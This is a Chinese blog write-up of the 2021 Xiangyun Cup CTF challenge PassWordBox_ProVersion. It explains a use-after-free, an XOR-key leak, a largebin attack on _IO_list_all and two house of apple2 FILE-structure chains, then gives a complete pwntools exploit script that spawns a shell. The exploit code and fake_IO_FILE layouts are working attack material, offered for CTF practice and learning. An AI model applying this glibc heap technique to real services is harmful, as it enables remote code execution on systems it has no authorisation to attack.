• 2021祥云杯PassWordBox_ProVersion


    前言:

    复现一下2021祥云杯PassWordBox_ProVersion,顺便练习一下roderick大佬提出的house of apple2
    https://bbs.pediy.com/thread-273832.htm#msg_header_h3_1

    程序分析

    保护全开,没沙盒
    add函数用只能申请largebin范围的,这里有一个xor加密
    请添加图片描述

    delete函数存在指针悬挂,配合recover函数可造成uaf
    请添加图片描述
    show函数有两个异或加密,show之前异或变回原来的,show之后再次异或加密
    异或的key被赋为一个随机数
    请添加图片描述

    请添加图片描述
    最后程序还有exit功能,可以用exit触发io流

    大致思路:

    基本上就是用largebin attack,攻击io流,先泄露出libc_base,heap_base,但由于异或加密,可以先输入一个已知字符串,去show得出key,就能泄露出两者了
    接着largebinattack,劫持_IO_list_all为堆地址,写入fake_io
    最后exit触发io,控制程序流

    exit的调用
    exit->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW
    最后的_IO_OVERFLOW我们改虚表偏移指向我们要利用的虚表函数即可

    利用链:

    _IO_wfile_overflow

    调用链为:

    _IO_wfile_overflow
        _IO_wdoallocbuf
            _IO_WDOALLOCATE
                *(fp->_wide_data->_wide_vtable + 0x68)(fp)
    
    • 1
    • 2
    • 3
    • 4

    源码:
    这里放一个看源码网站
    https://elixir.bootlin.com/glibc/glibc-2.31/source

    void
    _IO_wdoallocbuf (FILE *fp)
    {
      if (fp->_wide_data->_IO_buf_base)
        return;
      if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
          return;
      _IO_wsetb (fp, fp->_wide_data->_shortbuf,
                 fp->_wide_data->_shortbuf + 1, 0);
    }
    libc_hidden_def (_IO_wdoallocbuf)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    fake_io要满足的要求

    _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
    vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
    _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
    _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
    _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
    _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
    _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    fake_IO_FILE实际可以如此布置:

    fake_IO_FILE =b'\x00'
    fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
    fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
    edit(8,fake_IO_FILE)
    edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    get shell
    请添加图片描述

    _IO_wfile_underflow_mmap:

    调用链为:

    _IO_wfile_underflow_mmap
        _IO_wdoallocbuf
            _IO_WDOALLOCATE
                *(fp->_wide_data->_wide_vtable + 0x68)(fp)
    
    • 1
    • 2
    • 3
    • 4

    源码:

    static wint_t
    _IO_wfile_underflow_mmap (FILE *fp)
    {
      struct _IO_codecvt *cd;
      const char *read_stop;
     
      if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
        {
          fp->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return WEOF;
        }
      if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
        return *fp->_wide_data->_IO_read_ptr;
     
      cd = fp->_codecvt;
     
      /* Maybe there is something left in the external buffer.  */
      if (fp->_IO_read_ptr >= fp->_IO_read_end
          /* No.  But maybe the read buffer is not fully set up.  */
          && _IO_file_underflow_mmap (fp) == EOF)
        /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
           flags as appropriate.  */
        return WEOF;
     
      /* There is more in the external.  Convert it.  */
      read_stop = (const char *) fp->_IO_read_ptr;
     
      if (fp->_wide_data->_IO_buf_base == NULL)
        {
          /* Maybe we already have a push back pointer.  */
          if (fp->_wide_data->_IO_save_base != NULL)
        {
          free (fp->_wide_data->_IO_save_base);
          fp->_flags &= ~_IO_IN_BACKUP;
        }
          _IO_wdoallocbuf (fp);// 需要走到这里
        }
        //......
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    fake_io要满足的要求为:

    > _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格 vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
    > _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
    > _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
    > _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
    > _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
    > _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
    > _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
    > _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    然而我在实际执行时遇到一些小问题
    源码中的这一段

    if (fp->_IO_read_ptr >= fp->_IO_read_end
          /* No.  But maybe the read buffer is not fully set up.  */
          && _IO_file_underflow_mmap (fp) == EOF)
    
    • 1
    • 2
    • 3

    如果fp->_IO_read_ptr >= fp->_IO_read_end,则会调用_IO_file_underflow_mmap
    而里面会有一个对rax+0xe0地址赋值的操作,会被赋值为_IO_wfile_jumps的地址
    会使我们上面要满足条件中的*(A + 0xe0) = &_IO_wfile_jumps
    无法指向system
    所以我们要设为fp->_IO_read_ptr 小于 fp->_IO_read_end
    请添加图片描述

    我这边fp->_IO_read_ptr= 0x441
    我把fp->_IO_read_end设为了0x600

    fake_IO_FILE实际如此布置:

    fake_IO_FILE =b'\x00'
    fake_IO_FILE =p64(0x600)
    fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
    fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
    edit(8,fake_IO_FILE)
    edit(7,b'a'*0x420+b'  sh\x00\x00\x00\x00')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    最后成功getshell
    请添加图片描述

    exp:

    rom pwn import * 
    local_file  = './pwdPro'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    else:
        r = gdb.debug(local_file)
        libc = ELF(local_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    def add(idx,ID,size,pwd):
        sla('Input Your Choice:\n','1')
        sla('Which PwdBox You Want Add:\n',str(idx))
        sa('Input The ID You Want Save:',ID)
        sla('Length Of Your Pwd:',str(size))
        sla('Your Pwd:',pwd)
    def edit(idx,pwd):
        sla('Input Your Choice:\n','2')
        sla('Which PwdBox You Want Edit:\n',str(idx))
        se(pwd)
    def show(idx):
        sla('Input Your Choice:\n','3')
        sla('Which PwdBox You Want Check:\n',str(idx))
    def delete(idx):
        sla('Input Your Choice:\n','4')
        sla('Idx you want 2 Delete:\n',str(idx))
        sla('Input Your Choice:\n','5')
        sla('Idx you want 2 Recover:\n',str(idx))
    def exit():
        sla('Input Your Choice:\n','6')
    #-------------leak_heap,leak_base------------------
    add(0,'0',0x420,'aaaa')
    add(1,'1',0x420,'aaaa')
    add(2,'2',0x428,'aaaa')
    add(3,'3',0x420,'aaaa')
    delete(2)
    add(4,'2',0x440,'aaaa')
    delete(0)
    edit(0,'a'*0x8)
    show(0)
    ru('Pwd is: ')
    xor_key=uu64(rc(8))^0x6161616161616161
    info('xor_key',xor_key)
    show(2)
    ru('Pwd is: ')
    libc_addr=uu64(rc(8))^xor_key
    libc_base=libc_addr-0x1ecfd0
    rc(8)
    info('libc_base',libc_base)
    heap_addr=uu64(rc(8))^xor_key
    heap_base=heap_addr-0xaf0
    rc(8)
    info('heap_base',heap_base)
    #----------------clear_bins---------------
    edit(0,p64(libc_base+0x1ecbe0))
    add(0,'0',0x420,'\x00')
    target=libc_base+libc.sym['_IO_list_all']
    add(5,'5',0x420,'a')
    #---------------largebin_attack_IO_list_all-------------
    add(6,'6',0x440,'b')
    add(7,'6',0x428,'b')
    add(8,'6',0x438,'b')
    add(9,'6',0x420,'b')
    delete(6)
    add(10,'10',0x450,'b')
    delete(8)
    edit(6,p64(0x1ecfe0+libc_base)*2+p64(heap_base+0x17a0)+p64(target-0x20))
    add(11,'11',0x450,'trigger')
    #------------------fake_io----------------
    #debug()
    #pause()
    system=libc_base+libc.sym['system']
    _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
    _IO_wfile_jumps_mmap = libc_base + libc.sym['_IO_wfile_jumps']-0xc0
    target_addr=heap_base+0x2020
    #----------_IO_wfile_jumps->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE------
    
    fake_IO_FILE =b'\x00'
    fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
    fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
    edit(8,fake_IO_FILE)
    edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')
    
    #----------_IO_wfile_underflow_mmap->_IO_wdoallocbuf->_IO_WDOALLOCATE----------------
    #fake_IO_FILE =b'\x00'
    #fake_IO_FILE =p64(0x600)
    #fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
    #fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)    
    #fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
    #fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
    #fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
    #fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
    #fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
    #fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
    #edit(8,fake_IO_FILE)
    #edit(7,b'a'*0x420+b'  sh\x00\x00\x00\x00')
    #debug('b *_IO_file_underflow_mmap+444')
    #pause()
    exit()
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
  • 相关阅读:
    Flutter快学快用22 自渲染模式:从 Flutter 的渲染原理,进一步掌握性能优化策略
    3个妙招,克服面试焦虑,紧张
    大数据必学Java基础(四十四):接口讲解
    【微服务网关——Websocket代理】
    6.30 基于自编码器卷积神经网络的室内定位
    双目立体视觉(平行的视角)
    K8s集群的Etcd数据库的备份与还原
    SQL中IN和EXSIST的区别
    0040__Windows下生成dump文件的三种方式
    适用于嵌入式arm的ffmpeg编解码
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/127416752